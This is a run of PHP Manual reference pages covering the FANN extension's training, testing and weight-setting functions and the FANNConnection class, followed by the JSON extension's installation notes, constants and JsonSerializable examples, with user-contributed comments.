fann_set_rprop_delta_zero

(PECL fann >= 1.0.0)

fann_set_rprop_delta_zero — Sets the initial step-size

Description

bool fann_set_rprop_delta_zero ( resource $ann , float $rprop_delta_zero )

The initial step-size is a positive number determining the initial step size.

Parameters

ann

Neural network resource.

rprop_delta_zero

The initial step-size.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_rprop_delta_zero() - Returns the initial step-size
  • fann_get_rprop_delta_min() - Returns the minimum step-size
  • fann_get_rprop_delta_max() - Returns the maximum step-size

User Contributed Notes

There are no user contributed notes for this page.


Sets the increase factor used during RPROP training

  • « fann_set_rprop_delta_zero
  • fann_set_sarprop_step_error_shift »
  • PHP Manual
  • Fann Functions
  • Sets the increase factor used during RPROP training

fann_set_rprop_increase_factor

(PECL fann >= 1.0.0)

fann_set_rprop_increase_factor — Sets the increase factor used during RPROP training

Description

bool fann_set_rprop_increase_factor ( resource $ann , float $rprop_increase_factor )

Sets the increase factor used during RPROP training.

Parameters

ann

Neural network resource.

rprop_increase_factor

The increase factor.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_rprop_increase_factor() - Returns the increase factor used during RPROP training

User Contributed Notes

There are no user contributed notes for this page.


Sets the sarprop step error shift

  • « fann_set_rprop_increase_factor
  • fann_set_sarprop_step_error_threshold_factor »
  • PHP Manual
  • Fann Functions
  • Sets the sarprop step error shift

fann_set_sarprop_step_error_shift

(PECL fann >= 1.0.0)

fann_set_sarprop_step_error_shift — Sets the sarprop step error shift

Description

bool fann_set_sarprop_step_error_shift ( resource $ann , float $sarprop_step_error_shift )

Sets the sarprop step error shift.

Parameters

ann

Neural network resource.

sarprop_step_error_shift

The sarprop step error shift.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_sarprop_step_error_shift() - Returns the sarprop step error shift

User Contributed Notes

There are no user contributed notes for this page.


Sets the sarprop step error threshold factor

  • « fann_set_sarprop_step_error_shift
  • fann_set_sarprop_temperature »
  • PHP Manual
  • Fann Functions
  • Sets the sarprop step error threshold factor

fann_set_sarprop_step_error_threshold_factor

(PECL fann >= 1.0.0)

fann_set_sarprop_step_error_threshold_factor — Sets the sarprop step error threshold factor

Description

bool fann_set_sarprop_step_error_threshold_factor ( resource $ann , float $sarprop_step_error_threshold_factor )

Sets the sarprop step error threshold factor.

Parameters

ann

Neural network resource.

sarprop_step_error_threshold_factor

The sarprop step error threshold factor.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_sarprop_step_error_threshold_factor() - Returns the sarprop step error threshold factor

User Contributed Notes

There are no user contributed notes for this page.


Sets the sarprop temperature

  • « fann_set_sarprop_step_error_threshold_factor
  • fann_set_sarprop_weight_decay_shift »
  • PHP Manual
  • Fann Functions
  • Sets the sarprop temperature

fann_set_sarprop_temperature

(PECL fann >= 1.0.0)

fann_set_sarprop_temperature — Sets the sarprop temperature

Description

bool fann_set_sarprop_temperature ( resource $ann , float $sarprop_temperature )

Sets the sarprop temperature.

Parameters

ann

Neural network resource.

sarprop_temperature

The sarprop temperature.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_sarprop_temperature() - Returns the sarprop temperature

User Contributed Notes

There are no user contributed notes for this page.


Sets the sarprop weight decay shift

  • « fann_set_sarprop_temperature
  • fann_set_scaling_params »
  • PHP Manual
  • Fann Functions
  • Sets the sarprop weight decay shift

fann_set_sarprop_weight_decay_shift

(PECL fann >= 1.0.0)

fann_set_sarprop_weight_decay_shift — Sets the sarprop weight decay shift

Description

bool fann_set_sarprop_weight_decay_shift ( resource $ann , float $sarprop_weight_decay_shift )

Sets the sarprop weight decay shift.

Parameters

ann

Neural network resource.

sarprop_weight_decay_shift

The sarprop weight decay shift.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_sarprop_weight_decay_shift() - Returns the sarprop weight decay shift

User Contributed Notes

There are no user contributed notes for this page.


Calculate input and output scaling parameters for future use based on training data

  • « fann_set_sarprop_weight_decay_shift
  • fann_set_train_error_function »
  • PHP Manual
  • Fann Functions
  • Calculate input and output scaling parameters for future use based on training data

fann_set_scaling_params

(PECL fann >= 1.0.0)

fann_set_scaling_params — Calculate input and output scaling parameters for future use based on training data

Description

bool fann_set_scaling_params ( resource $ann , resource $train_data , float $new_input_min , float $new_input_max , float $new_output_min , float $new_output_max )

Calculate input and output scaling parameters for future use based on training data.

Parameters

ann

Neural network resource.

train_data

Neural network training data resource.

new_input_min

The desired lower bound in input data after scaling (not strictly followed)

new_input_max

The desired upper bound in input data after scaling (not strictly followed)

new_output_min

The desired lower bound in output data after scaling (not strictly followed)

new_output_max

The desired upper bound in output data after scaling (not strictly followed)

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_set_input_scaling_params() - Calculate input scaling parameters for future use based on training data
  • fann_set_output_scaling_params() - Calculate output scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Sets the error function used during training

  • « fann_set_scaling_params
  • fann_set_train_stop_function »
  • PHP Manual
  • Fann Functions
  • Sets the error function used during training

fann_set_train_error_function

(PECL fann >= 1.0.0)

fann_set_train_error_function — Sets the error function used during training

Description

bool fann_set_train_error_function ( resource $ann , int $error_function )

Sets the error function used during training.

The error functions are described further in error functions constants.

Parameters

ann

Neural network resource.

error_function

The error function constant

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_train_error_function() - Returns the error function used during training

User Contributed Notes

There are no user contributed notes for this page.


Sets the stop function used during training

  • « fann_set_train_error_function
  • fann_set_training_algorithm »
  • PHP Manual
  • Fann Functions
  • Sets the stop function used during training

fann_set_train_stop_function

(PECL fann >= 1.0.0)

fann_set_train_stop_function — Sets the stop function used during training

Description

bool fann_set_train_stop_function ( resource $ann , int $stop_function )

Sets the stop function used during training.

The stop functions are described further in stop functions constants.

Parameters

ann

Neural network resource.

stop_function

The stop function constant.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_train_stop_function() - Returns the stop function used during training

User Contributed Notes

There are no user contributed notes for this page.


Sets the training algorithm

  • « fann_set_train_stop_function
  • fann_set_weight_array »
  • PHP Manual
  • Fann Functions
  • Sets the training algorithm

fann_set_training_algorithm

(PECL fann >= 1.0.0)

fann_set_training_algorithm — Sets the training algorithm

Description

bool fann_set_training_algorithm ( resource $ann , int $training_algorithm )

Sets the training algorithm.

More info available in fann_get_training_algorithm().

Parameters

ann

Neural network resource.

training_algorithm

Training algorithm constant

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_training_algorithm() - Returns the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Set connections in the network

  • « fann_set_training_algorithm
  • fann_set_weight »
  • PHP Manual
  • Fann Functions
  • Set connections in the network

fann_set_weight_array

(PECL fann >= 1.0.0)

fann_set_weight_array — Set connections in the network

Description

bool fann_set_weight_array ( resource $ann , array $connections )

Set connections in the network.

Only the weights can be changed, connections and weights are ignored if they do not already exist in the network.

Parameters

ann

Neural network resource.

connections

An array of FANNConnection objects

Return Values

Returns TRUE on success, or FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Set a connection in the network

  • « fann_set_weight_array
  • fann_shuffle_train_data »
  • PHP Manual
  • Fann Functions
  • Set a connection in the network

fann_set_weight

(PECL fann >= 1.0.0)

fann_set_weight — Set a connection in the network

Description

bool fann_set_weight ( resource $ann , int $from_neuron , int $to_neuron , float $weight )

Set a connections in the network.

Parameters

ann

Neural network resource.

from_neuron

The neuron where the connection starts

to_neuron

The neuron where the connection ends

weight

Connection weight

Return Values

Returns TRUE on success, or FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Shuffles training data, randomizing the order

  • « fann_set_weight
  • fann_subset_train_data »
  • PHP Manual
  • Fann Functions
  • Shuffles training data, randomizing the order

fann_shuffle_train_data

(PECL fann >= 1.0.0)

fann_shuffle_train_data — Shuffles training data, randomizing the order

Description

bool fann_shuffle_train_data ( resource $train_data )

Shuffles training data, randomizing the order. This is recommended for incremental training, while it have no influence during batch training.

Parameters

train_data

Neural network training data resource.

Return Values

Returns TRUE on success, or FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Returns an copy of a subset of the train data

  • « fann_shuffle_train_data
  • fann_test_data »
  • PHP Manual
  • Fann Functions
  • Returns an copy of a subset of the train data

fann_subset_train_data

(PECL fann >= 1.0.0)

fann_subset_train_data — Returns an copy of a subset of the train data

Description

resource fann_subset_train_data ( resource $data , int $pos , int $length )

Returns an copy of a subset of the train data resource, starting at position pos and length elements forward.

The fann_subset_train_data(train_data, 0, fann_length_train_data(train_data)) do the same as fann_duplicate_train_data()

Parameters

data

Neural network training data resource.

pos

Starting position.

length

The number of copied elements.

Return Values

Returns a train data resource on success, or FALSE on error.

See Also

  • fann_duplicate_train_data() - Returns an exact copy of a fann train data

User Contributed Notes

There are no user contributed notes for this page.


Test a set of training data and calculates the MSE for the training data

  • « fann_subset_train_data
  • fann_test »
  • PHP Manual
  • Fann Functions
  • Test a set of training data and calculates the MSE for the training data

fann_test_data

(PECL fann >= 1.0.0)

fann_test_data — Test a set of training data and calculates the MSE for the training data

Description

float fann_test_data ( resource $ann , resource $data )

Test a set of training data and calculates the MSE for the training data.

This function updates the MSE and the bit fail values.

Parameters

ann

Neural network resource.

data

Neural network training data resource.

Return Values

The updated MSE, or FALSE on error.

See Also

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_bit_fail() - The number of fail bits
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Test with a set of inputs, and a set of desired outputs

  • « fann_test_data
  • fann_train_epoch »
  • PHP Manual
  • Fann Functions
  • Test with a set of inputs, and a set of desired outputs

fann_test

(PECL fann >= 1.0.0)

fann_test — Test with a set of inputs, and a set of desired outputs

Description

bool fann_test ( resource $ann , array $input , array $desired_output )

Test with a set of inputs, and a set of desired outputs. This operation updates the mean square error, but does not change the network in any way.

Parameters

ann

Neural network resource.

input

An array of inputs. This array must be exactly fann_get_num_input() long.

desired_output

An array of desired outputs. This array must be exactly fann_get_num_output() long.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_test_data() - Test a set of training data and calculates the MSE for the training data
  • fann_train() - Train one iteration with a set of inputs, and a set of desired outputs
  • fann_get_num_input() - Get the number of input neurons
  • fann_get_num_output() - Get the number of output neurons

User Contributed Notes

There are no user contributed notes for this page.


Train one epoch with a set of training data

  • « fann_test
  • fann_train_on_data »
  • PHP Manual
  • Fann Functions
  • Train one epoch with a set of training data

fann_train_epoch

(PECL fann >= 1.0.0)

fann_train_epoch — Train one epoch with a set of training data

Description

float fann_train_epoch ( resource $ann , resource $data )

Train one epoch with the training data stored in data. One epoch is where all of the training data is considered exactly once.

This function returns the MSE error as it is calculated either before or during the actual training. This is not the actual MSE after the training epoch, but since calculating this will require to go through the entire training set once more. It is more than adequate to use this value during training.

The training algorithm used by this function is chosen by fann_set_training_algorithm() function.

Parameters

ann

Neural network resource.

data

Neural network training data resource.

Return Values

The MSE, or FALSE on error.

See Also

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_test_data() - Test a set of training data and calculates the MSE for the training data
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Trains on an entire dataset for a period of time

  • « fann_train_epoch
  • fann_train_on_file »
  • PHP Manual
  • Fann Functions
  • Trains on an entire dataset for a period of time

fann_train_on_data

(PECL fann >= 1.0.0)

fann_train_on_data — Trains on an entire dataset for a period of time

Description

bool fann_train_on_data ( resource $ann , resource $data , int $max_epochs , int $epochs_between_reports , float $desired_error )

Trains on an entire dataset for a period of time.

This training uses the training algorithm chosen by fann_set_training_algorithm() and the parameters set for these training algorithms.

Parameters

ann

Neural network resource.

data

Neural network training data resource.

max_epochs

The maximum number of epochs the training should continue

epochs_between_reports

The number of epochs between calling a callback function. A value of zero means that user function is not called.

desired_error

The desired fann_get_MSE() or fann_get_bit_fail(), depending on the stop function chosen by fann_set_train_stop_function()

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_train_on_file() - Trains on an entire dataset, which is read from file, for a period of time
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_bit_fail() - The number of fail bits
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_set_train_stop_function() - Sets the stop function used during training
  • fann_set_training_algorithm() - Sets the training algorithm
  • fann_set_callback() - Sets the callback function for use during training

User Contributed Notes

There are no user contributed notes for this page.


Trains on an entire dataset, which is read from file, for a period of time

  • « fann_train_on_data
  • fann_train »
  • PHP Manual
  • Fann Functions
  • Trains on an entire dataset, which is read from file, for a period of time

fann_train_on_file

(PECL fann >= 1.0.0)

fann_train_on_file — Trains on an entire dataset, which is read from file, for a period of time

Description

bool fann_train_on_file ( resource $ann , string $filename , int $max_epochs , int $epochs_between_reports , float $desired_error )

Trains on an entire dataset, which is read from file, for a period of time.

This training uses the training algorithm chosen by fann_set_training_algorithm() and the parameters set for these training algorithms.

Parameters

ann

Neural network resource.

filename

The file containing train data

max_epochs

The maximum number of epochs the training should continue

epochs_between_reports

The number of epochs between calling a user function. A value of zero means that user function is not called.

desired_error

The desired fann_get_MSE() or fann_get_bit_fail(), depending on the stop function chosen by fann_set_train_stop_function()

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_bit_fail() - The number of fail bits
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_set_train_stop_function() - Sets the stop function used during training
  • fann_set_training_algorithm() - Sets the training algorithm
  • fann_set_callback() - Sets the callback function for use during training

User Contributed Notes

There are no user contributed notes for this page.


Train one iteration with a set of inputs, and a set of desired outputs

  • « fann_train_on_file
  • FANNConnection »
  • PHP Manual
  • Fann Functions
  • Train one iteration with a set of inputs, and a set of desired outputs

fann_train

(PECL fann >= 1.0.0)

fann_train — Train one iteration with a set of inputs, and a set of desired outputs

Description

bool fann_train ( resource $ann , array $input , array $desired_output )

Train one iteration with a set of inputs, and a set of desired outputs. This training is always incremental training, since only one pattern is presented.

Parameters

ann

Neural network resource.

input

An array of inputs. This array must be exactly fann_get_num_input() long.

desired_output

An array of desired outputs. This array must be exactly fann_get_num_output() long.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_num_input() - Get the number of input neurons
  • fann_get_num_output() - Get the number of output neurons

User Contributed Notes

There are no user contributed notes for this page.


The FANNConnection class

(No version information available, might only be in Git)

Introduction

FANNConnection is used for the neural network connection. The objects of this class are used in fann_get_connection_array() and fann_set_weight_array().

Class synopsis

FANNConnection {
/* Properties */
public $from_neuron ;
public $to_neuron ;
public $weight ;
/* Methods */
public __construct ( int $from_neuron , int $to_neuron , float $weight )
public int getFromNeuron ( void )
public int getToNeuron ( void )
public void getWeight ( void )
public bool setWeight ( float $weight )
}

Properties

from_neuron

The neuron where the connection starts.

to_neuron

The neuron where the connection ends.

weight

The weight of the connection.

Table of Contents

  • FANNConnection::__construct — The connection constructor
  • FANNConnection::getFromNeuron — Returns the postions of starting neuron.
  • FANNConnection::getToNeuron — Returns the postions of terminating neuron
  • FANNConnection::getWeight — Returns the connection weight
  • FANNConnection::setWeight — Sets the connections weight

User Contributed Notes

There are no user contributed notes for this page.


The connection constructor

  • « FANNConnection
  • FANNConnection::getFromNeuron »
  • PHP Manual
  • FANNConnection
  • The connection constructor

FANNConnection::__construct

(PECL fann >= 1.0.0)

FANNConnection::__construct — The connection constructor

Description

public FANNConnection::__construct ( int $from_neuron , int $to_neuron , float $weight )

Create new connection and initialize its params. After creating the connection, only weight can be changed.

Parameters

from_neuron

The postion number of starting neuron.

to_neuron

The postion number of terminating neuron.

weight

The connection weight value.

User Contributed Notes

There are no user contributed notes for this page.


Returns the postions of starting neuron.

  • « FANNConnection::__construct
  • FANNConnection::getToNeuron »
  • PHP Manual
  • FANNConnection
  • Returns the postions of starting neuron.

FANNConnection::getFromNeuron

(PECL fann >= 1.0.0)

FANNConnection::getFromNeuron — Returns the postions of starting neuron.

Description

public int FANNConnection::getFromNeuron ( void )

Returns the postions of starting neuron.

Parameters

This function has no parameters.

Return Values

The postions of starting neuron.

User Contributed Notes

There are no user contributed notes for this page.


Returns the postions of terminating neuron

  • « FANNConnection::getFromNeuron
  • FANNConnection::getWeight »
  • PHP Manual
  • FANNConnection
  • Returns the postions of terminating neuron

FANNConnection::getToNeuron

(PECL fann >= 1.0.0)

FANNConnection::getToNeuron — Returns the postions of terminating neuron

Description

public int FANNConnection::getToNeuron ( void )

Returns the postions of terminating neuron.

Parameters

This function has no parameters.

Return Values

The postions of terminating neuron.

User Contributed Notes

There are no user contributed notes for this page.


Returns the connection weight

  • « FANNConnection::getToNeuron
  • FANNConnection::setWeight »
  • PHP Manual
  • FANNConnection
  • Returns the connection weight

FANNConnection::getWeight

(PECL fann >= 1.0.0)

FANNConnection::getWeight — Returns the connection weight

Description

public void FANNConnection::getWeight ( void )

Returns the connection weight.

Parameters

This function has no parameters.

Return Values

The connection weight.

User Contributed Notes

There are no user contributed notes for this page.


Sets the connections weight

  • « FANNConnection::getWeight
  • JSON »
  • PHP Manual
  • FANNConnection
  • Sets the connections weight

FANNConnection::setWeight

(PECL fann >= 1.0.0)

FANNConnection::setWeight — Sets the connections weight

Description

public bool FANNConnection::setWeight ( float $weight )

Sets the connection weight.

This method is different than fann_set_weight(). It does not update the weight value in the network. The network value is updated only after calling fann_set_weight_array().

Parameters

weight

The connection weight.

Return Values

Returns TRUE on success, or FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


JavaScript Object Notation

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • JsonSerializable — The JsonSerializable interface
    • JsonSerializable::jsonSerialize — Specify data which should be serialized to JSON
  • JSON Functions
    • json_decode — Decodes a JSON string
    • json_encode — Returns the JSON representation of a value
    • json_last_error_msg — Returns the error string of the last json_encode() or json_decode() call
    • json_last_error — Returns the last error occurred

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension implements the » JavaScript Object Notation (JSON) data-interchange format. The decoding is handled by a parser based on the JSON_checker by Douglas Crockford.

Note:

PHP implements a superset of JSON - it will also encode and decode scalar types and NULL. The JSON standard only supports these values when they are nested inside an array or an object.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

There is no installation needed to use these functions; they are part of the PHP core.

User Contributed Notes

There are no user contributed notes for this page.


Installation

As of PHP 5.2.0, the JSON extension is bundled and compiled into PHP by default.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/json

User Contributed Notes

YesCT 27-Jun-2014 04:44
on CentOS php 5.5.13 had to:
yum install php55u-pecl-jsonc php55u-pecl-jsonc-devel
ferenczy at NOSPAM dot volny dot cz 12-Dec-2013 12:46
On Ubuntu 13.10 you have to install this extension first (PHP 5.5.3):

   apt-get install php5-json

(Don't forget to restart web server.)
haebler at gmail dot com 22-Jan-2011 06:45
On RHEL5/CentOS5 add the EPEL repository (http://fedoraproject.org/wiki/EPEL).

After that, installation is as simple as:

    sudo yum install php-pecl-json
cko at audaxis dot com 19-Oct-2010 03:11
On gentoo, need the USE flag "json" to compile into php
dave at davidhbrown dot us 20-Jan-2009 01:24
On one server I use (FreeBSD 6.3; PHP 5.2.6 as module in Apache 2.2.10), PHP was compiled with the '--disable-all' configuration option. Consequently, there exists a secondary configuration file -- /usr/local/php5/etc/extensions.ini -- in which the line

; extension=json.so

must be uncommented (delete the semicolon) and Apache restarted for these functions to be available.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants indicate the type of error returned by json_last_error().

JSON_ERROR_NONE (integer)
No error has occurred. Available since PHP 5.3.0.
JSON_ERROR_DEPTH (integer)
The maximum stack depth has been exceeded. Available since PHP 5.3.0.
JSON_ERROR_STATE_MISMATCH (integer)
Occurs with underflow or with the modes mismatch. Available since PHP 5.3.0.
JSON_ERROR_CTRL_CHAR (integer)
Control character error, possibly incorrectly encoded. Available since PHP 5.3.0.
JSON_ERROR_SYNTAX (integer)
Syntax error. Available since PHP 5.3.0.
JSON_ERROR_UTF8 (integer)
Malformed UTF-8 characters, possibly incorrectly encoded. This constant is available as of PHP 5.3.3.
JSON_ERROR_RECURSION (integer)

The object or array passed to json_encode() include recursive references and cannot be encoded. If the JSON_PARTIAL_OUTPUT_ON_ERROR option was given, NULL will be encoded in the place of the recursive reference.

This constant is available as of PHP 5.5.0.

JSON_ERROR_INF_OR_NAN (integer)

The value passed to json_encode() includes either NAN or INF. If the JSON_PARTIAL_OUTPUT_ON_ERROR option was given, 0 will be encoded in the place of these special numbers.

This constant is available as of PHP 5.5.0.

JSON_ERROR_UNSUPPORTED_TYPE (integer)

A value of an unsupported type was given to json_encode(), such as a resource. If the JSON_PARTIAL_OUTPUT_ON_ERROR option was given, NULL will be encoded in the place of the unsupported value.

This constant is available as of PHP 5.5.0.

The following constants can be combined to form options for json_encode().

JSON_HEX_TAG (integer)
All < and > are converted to \u003C and \u003E. Available since PHP 5.3.0.
JSON_HEX_AMP (integer)
All &s are converted to \u0026. Available since PHP 5.3.0.
JSON_HEX_APOS (integer)
All ' are converted to \u0027. Available since PHP 5.3.0.
JSON_HEX_QUOT (integer)
All " are converted to \u0022. Available since PHP 5.3.0.
JSON_FORCE_OBJECT (integer)
Outputs an object rather than an array when a non-associative array is used. Especially useful when the recipient of the output is expecting an object and the array is empty. Available since PHP 5.3.0.
JSON_NUMERIC_CHECK (integer)
Encodes numeric strings as numbers. Available since PHP 5.3.3.
JSON_BIGINT_AS_STRING (integer)
Encodes large integers as their original string value. Available since PHP 5.4.0.
JSON_PRETTY_PRINT (integer)
Use whitespace in returned data to format it. Available since PHP 5.4.0.
JSON_UNESCAPED_SLASHES (integer)
Don't escape /. Available since PHP 5.4.0.
JSON_UNESCAPED_UNICODE (integer)
Encode multibyte Unicode characters literally (default is to escape as \uXXXX). Available since PHP 5.4.0.

User Contributed Notes

Yzmir Ramirez 23-Sep-2014 09:31
If you curious of the numeric values of the constants, as of JSON 1.2.1, the constants have the following values (not that you should use the numbers directly):

JSON_HEX_TAG => 1
JSON_HEX_AMP => 2
JSON_HEX_APOS => 4
JSON_HEX_QUOT => 8
JSON_FORCE_OBJECT => 16
JSON_NUMERIC_CHECK => 32
JSON_UNESCAPED_SLASHES => 64
JSON_PRETTY_PRINT => 128
JSON_UNESCAPED_UNICODE => 256

JSON_ERROR_DEPTH => 1
JSON_ERROR_STATE_MISMATCH => 2
JSON_ERROR_CTRL_CHAR => 3

JSON_ERROR_SYNTAX => 4

JSON_ERROR_UTF8 => 5
JSON_OBJECT_AS_ARRAY => 1

JSON_BIGINT_AS_STRING => 2


The JsonSerializable interface

(PHP 5 >= 5.4.0)

Introduction

Objects implementing JsonSerializable can customize their JSON representation when encoded with json_encode().

Interface synopsis

JsonSerializable {
/* Methods */
abstract public mixed jsonSerialize ( void )
}

Table of Contents

  • JsonSerializable::jsonSerialize — Specify data which should be serialized to JSON

User Contributed Notes

There are no user contributed notes for this page.


Specify data which should be serialized to JSON

  • « JsonSerializable
  • JSON Functions »
  • PHP Manual
  • JsonSerializable
  • Specify data which should be serialized to JSON

JsonSerializable::jsonSerialize

(PHP 5 >= 5.4.0)

JsonSerializable::jsonSerialize — Specify data which should be serialized to JSON

Description

abstract public mixed JsonSerializable::jsonSerialize ( void )

Serializes the object to a value that can be serialized natively by json_encode().

Parameters

This function has no parameters.

Return Values

Returns data which can be serialized by json_encode(), which is a value of any type other than a resource.

Examples

Example #1 JsonSerializable::jsonSerialize() example returning an array

<?php
class ArrayValue implements JsonSerializable {
    public function __construct(array $array) {
        $this->array = $array;
    }

    public function jsonSerialize() {
        return $this->array;
    }
}

$array = [1, 2, 3];
echo json_encode(new ArrayValue($array), JSON_PRETTY_PRINT);
?>

The above example will output:

[
    1,
    2,
    3
]

Example #2 JsonSerializable::jsonSerialize() example returning an associative array

<?php
class ArrayValue implements JsonSerializable {
    public function __construct(array $array) {
        $this->array = $array;
    }

    public function jsonSerialize() {
        return $this->array;
    }
}

$array = ['foo' => 'bar', 'quux' => 'baz'];
echo json_encode(new ArrayValue($array), JSON_PRETTY_PRINT);
?>

The above example will output:

{
    "foo": "bar",
    "quux": "baz"
}

Example #3 JsonSerializable::jsonSerialize() example returning an integer

<?php
class IntegerValue implements JsonSerializable {
    public function __construct($number) {
        $this->number = (integer) $number;
    }

    public function jsonSerialize() {
        return $this->number;
    }
}

echo json_encode(new IntegerValue(1), JSON_PRETTY_PRINT);
?>

The above example will output:

1

Example #4 JsonSerializable::jsonSerialize() example returning a string

<?php
class StringValue implements JsonSerializable {
    public function __construct($string) {
        $this->string = (string) $string;
    }

    public function jsonSerialize() {
        return $this->string;
    }
}

echo json_encode(new StringValue('Hello!'), JSON_PRETTY_PRINT);
?>

The above example will output:

"Hello!"

User Contributed Notes

dimstefan83 at gmail dot com 20-Jun-2014 05:34
simple functions to make life easier.
I wanted a way to have a as property value the return value of a method in order to have it initialized. example

class portItem implements JsonSerializable{
    private $idPort;
    private $location;
    private $portLanguages;

    public function getLocation() {
        if(!isset($this->location)){
            return new locationItem();
        }
        return $this->location;
    }

    public function setLocation($location) {
        $this->location = $location;
    }

      public function setidPort($idPort){
        $this->idPort=$idPort;
    }

    public function getidPort(){
        if(!isset($this->idPort)){
            return 0;
        }
        return intval($this->idPort);
    }
    public function setPortLanguages($portLanguages){
        $this->portLanguages=$portLanguages;
    }

    public function getPortLanguages(){
        if(!isset($this->portLanguages)){
            return new genericItems();
        }
        return $this->portLanguages;
    }

    public function getCategoryLanguages(){
        if(!isset($this->portLanguages)){
            return new genericItems();
        }
        return $this->portLanguages;
    }

    public function getPortLanguageAtIndex($index=false){
        if(!$index){
            $index=0;
        }
        return $this->portLanguages[$index];
    }

    public function setPortLanguageAtIndex($index,$language){
        $this->portLanguages[$index]=$language;
    }

        public function jsonSerialize() {
        $dataConverter = new dataConverter();
        return $dataConverter->convertToJson($this);
    }

}

Wit 2 ways you can automatically convert for json.
1.by reading properties
public function convertToJson($object){
        /*approch by using object properties*/
        $class = get_class($this);
        $json = array();
        $properties = get_class_vars($class);
        $keys = array_keys($properties);
        $plength = count($keys);
        for($i=0;$i<$plength;$i++){
            $method =  "get".$keys[$i];
            if(method_exists ($this,$method)){
                $json[$keys[$i]] = $this->$method();
            }
        }
return $json;
}

public function convertToJson($object){
/*approch by using object methods*/
        $class = get_class($object);
        $json = array();
        $methods = get_class_methods($class);
        $plength = count($methods);
        $json = array();
        for($i=0;$i<$plength;$i++){
            if(stripos($methods[$i], "get")!==FALSE){
                $property = mb_substr($methods[$i], 3,mb_strlen($methods[$i],'UTF-8'),'UTF-8');
                $setter = "set".mb_substr($methods[$i], 3,mb_strlen($methods[$i],'UTF-8'),'UTF-8');
                if(method_exists($object,$setter)){
                    $json[$property] = $object->$methods[$i]();
                }

            }
        }

        return $json;
    }

By using this method the result will be a json with value for properties initialized according to each method.

Things to note
1.if you are using the reading properties approach the code cant' work outside of the class for private properties, because they are nto visible, you have to put it the code directly to public function jsonSerialize() {} in order to work.
2.For both approaches has method seems not to be case sensitive else you are going to have problems, i strongly suggest to pay attention in naming convention between property names and method names idPort =>setIdPort() =>getIdPort() (i know my class is done not that way).
3.both approaches since you call method without knowing the arguments you need to pay attention in arguments for getter methods where applicable, check my example
public function getPortLanguageAtIndex($index=false){
        if(!$index){
            $index=0;
        }
        return $this->portLanguages[$index];
    }
that's why i have set it to optional argument. If you don't do that php will complain about missing argument parameter in method XXX.
simonsimcity at gmail dot com 22-Mar-2014 08:05
You can't throw exceptions in here. If you do, you'll get an exception with the message "Failed calling FooClass::jsonSerialize()" and the stacktrace will start at where you called the json_encode() method.

Here's a code-example:

class Foo implements JsonSerializable {
    private $triggerError = true;

    public function jsonSerialize()
    {
        if ($this->triggerError) {
            throw new RuntimeException("It failed!");
        }

        return (array)$this;
    }
}

// Will throw an exception like new Exception("Failed calling Foo::jsonSerialize()")
json_encode(new Foo());
benkuhl at gmail dot com 01-Feb-2013 01:17
A good example on when you would use functionality like this is when working with objects.

json_encode() will take a DateTime and convert it to:

{
    "date":"2013-01-31 11:14:05",
    "timezone_type":3,
    "timezone":"America\/Los_Angeles"
}

This is great when working with PHP, but if the Date is being read by Java.  The Java date parser doesn't know what to do with that.  But it does know what to do with the ISO8601 format...

<?php

date_default_timezone_set('America/Los_Angeles');

class Fruit implements JsonSerializable {
    public
        $type = 'Apple',
        $lastEaten = null;

    public function __construct() {
        $this->lastEaten = new DateTime();
    }

    public function jsonSerialize() {
        return [
            'type' => $this->type,
            'lastEaten' => $this->lastEaten->format(DateTime::ISO8601)
        ];
    }
}
echo json_encode(new Fruit()); //which outputs: {"type":"Apple","lastEaten":"2013-01-31T11:17:07-0500"}

?>


JSON Functions

Table of Contents

  • json_decode — Decodes a JSON string
  • json_encode — Returns the JSON representation of a value
  • json_last_error_msg — Returns the error string of the last json_encode() or json_decode() call
  • json_last_error — Returns the last error occurred

User Contributed Notes

giunta dot gaetano at sea-aeroportimilano dot it 04-Sep-2006 12:35
Two pure-php implementations of the json protocol that might be of use, e.g. for php 4 installs where adding extensions is not an option or because of extra functionality can be found here:

